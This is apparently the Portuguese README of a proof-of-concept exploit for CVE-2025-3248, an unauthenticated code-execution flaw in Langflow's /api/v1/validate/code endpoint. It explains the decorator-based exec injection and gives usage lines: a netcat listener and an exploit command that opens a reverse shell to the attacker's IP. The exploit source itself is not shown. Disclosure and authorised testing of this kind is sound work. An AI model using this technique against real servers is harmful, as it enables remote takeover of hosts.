
Prova de conceito de exploit para CVE-2025-3248, uma vulnerabilidade de execução remota de código não autenticada no Langflow, demonstrando injeção de código por meio do endpoint /api/v1/validate/code.
Prova de conceito de exploração para CVE-2025-3248, uma vulnerabilidade de execução remota de código não autenticada no Langflow, uma plataforma de construção de fluxos de trabalho para IA/LLM.
O Langflow expõe um endpoint, POST /api/v1/validate/code, destinado a
"validar" um trecho de código Python enviado pela interface (por exemplo, código de componentes personalizados). Internamente, ele analisa e compila o código com ast.parse() / compile() e informa se é válido — sem exigir autenticação.
O bug: o Python avalia expressões de decoradores em tempo de análise/compilação, antes que a função decorada seja sequer chamada. Se o "código a validar" enviado contiver um decorador como:
@exec("...código malicioso...")
def test():
pass
a chamada exec(...) é executada no momento em que o código é analisado — a validação nunca precisa realmente invocar test(). Combinado com a ausência de autenticação e de sandboxing, uma única requisição HTTP não autenticada é suficiente para executar comandos arbitrários no host que executa o Langflow.
nc -lvnp 9001
python3 exploit.py --target http://TARGET_IP:7860 --lhost YOUR_IP --lport 9001
usage: exploit.py [-h] --target TARGET --lhost LHOST [--lport LPORT] [--timeout TIMEOUT]
pip install requests
Este código é fornecido apenas para fins educacionais e testes de segurança autorizados (laboratórios, CTFs, engajamentos com permissão escrita explícita). Não execute isso contra sistemas que você não possui ou para os quais não possui autorização explícita para testar. O autor não é responsável pelo uso indevido.